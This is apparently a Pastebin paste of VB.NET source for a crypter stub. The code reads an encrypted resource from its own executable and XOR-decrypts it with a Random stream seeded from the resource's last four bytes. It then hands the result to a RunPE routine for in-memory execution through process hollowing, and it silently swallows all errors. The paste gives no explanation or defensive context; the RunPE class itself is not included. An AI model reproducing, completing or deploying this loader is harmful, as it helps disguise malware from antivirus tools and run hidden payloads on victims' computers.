Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Runtime.InteropServices
  2. Imports System.Diagnostics
  3. Imports Microsoft.VisualBasic.CompilerServices
  4.  
  5. Public Class ReadResource
  6.  
  7.     <DllImport("kernel32.dll", SetLastError:=True)> _
  8.     Private Shared Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) _
  9.         As IntPtr
  10.     End Function
  11.  
  12.     <DllImport ("kernel32", EntryPoint:="GetModuleHandleA", CharSet:=CharSet.Ansi, SetLastError:=True, _
  13.              ExactSpelling:=True)> _
  14.     Private Shared Function GetModuleHandle(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef moduleName As String) _
  15.         As IntPtr
  16.     End Function
  17.  
  18.     <DllImport("kernel32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
  19.     Private Shared Function LoadResource(ByVal hModule As IntPtr, ByVal hRI As IntPtr) As IntPtr
  20.     End Function
  21.  
  22.     Public Shared Sub main()
  23.         Try
  24.             Dim mH As IntPtr = GetModuleHandle((Process.GetCurrentProcess.MainModule.ModuleName))
  25.             Dim hRI As IntPtr = FindResource(mH, "0", "RT_RCDATA")
  26.             Dim s As IntPtr = LoadResource(mH, hRI)
  27.             Dim length As Integer = SizeofResource(mH, hRI)
  28.             Dim d As Byte() = New Byte(((length - 1) + 1) - 1) {}
  29.             Marshal.Copy(s, d, 0, length)
  30.             Dim sE As Integer = BitConverter.ToInt32(d, (d.Length - 4))
  31.             d = DirectCast(Utils.CopyArray(DirectCast(d, Array), New Byte(((d.Length - 3) + 1) - 1) {}), Byte())
  32.             Dim r As New Random(sE)
  33.             Dim b As Byte() = New Byte(((d.Length - 1) + 1) - 1) {}
  34.             r.NextBytes(b)
  35.             Dim num4 As Integer = (d.Length - 1)
  36.             Dim i As Integer = 0
  37.             Do While (i <= num4)
  38.                 d(i) = CByte((d(i) Xor b(i)))
  39.                 i += 1
  40.             Loop
  41.             RunpeClass.RunpeSub(d, Process.GetCurrentProcess.MainModule.FileName)
  42.         Catch ex As Exception
  43.  
  44.         End Try
  45.     End Sub
  46.  
  47.     <DllImport("kernel32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
  48.     Private Shared Function SizeofResource(ByVal hModule As IntPtr, ByVal hRI As IntPtr) As Integer
  49.     End Function
  50.  
  51. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement